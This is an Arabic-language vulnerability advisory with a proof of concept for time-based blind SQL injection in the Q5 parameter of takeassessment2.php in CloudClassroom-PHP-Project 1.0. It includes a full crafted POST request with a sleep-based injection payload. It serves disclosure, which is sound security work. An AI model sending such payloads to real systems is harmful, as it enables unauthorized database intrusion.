
إثبات مفهوم لثغرة حقن SQL أعمى زمني في نقطة النهاية takeassessment2.php من مشروع CloudClassroom-PHP-Project 1.0، توضح الاستغلال عن بُعد عبر طلب POST مُصمم.
توجد ثغرة SQL Injection في نقطة النهاية takeassessment2.php من الإصدار CloudClassroom-PHP-Project 1.0، حيث يتم إدراج معامل POST Q5 مباشرةً في جمل SQL دون تنقية.
نوع الثغرة:
SQL Injection
مُورّد المُنتج:
https://github.com/mathurvishal/CloudClassroom-PHP-Project
قاعدة كود المنتج المتأثر:
https://github.com/mathurvishal/CloudClassroom-PHP-Project 1.0 - https://github.com/mathurvishal/CloudClassroom-PHP-Project 1.0
المكوّن المتأثر:
takeassessment2.php، معامل POST Q5، منطق استعلام SQL
متجهات الهجوم:
لاستغلال هذه الثغرة، يرسل المهاجم طلب POST ضار إلى /CloudClassroom-PHP-Project-master/takeassessment2.php مع حمولة في معامل Q5 تؤدي إلى تأخير زمني في معالجة SQL (حقن SQL أعمى زمني).
طلب POST:
POST /CloudClassroom-PHP-Project-master/takeassessment2.php?exid=4 HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded
Q1=555&Q2=555&Q3=555&Q4=555&Q5=5550'XOR(555*if(now()=sysdate(),sleep(6),0))XOR'Z&done= يؤدي ذلك إلى تأخير 6 ثوانٍ في الاستجابة، مما يؤكد وجود الثغرة.
المرجع:
https://owasp.org/www-community/attacks/SQL_Injection
المكتشف: Saurabh Solanki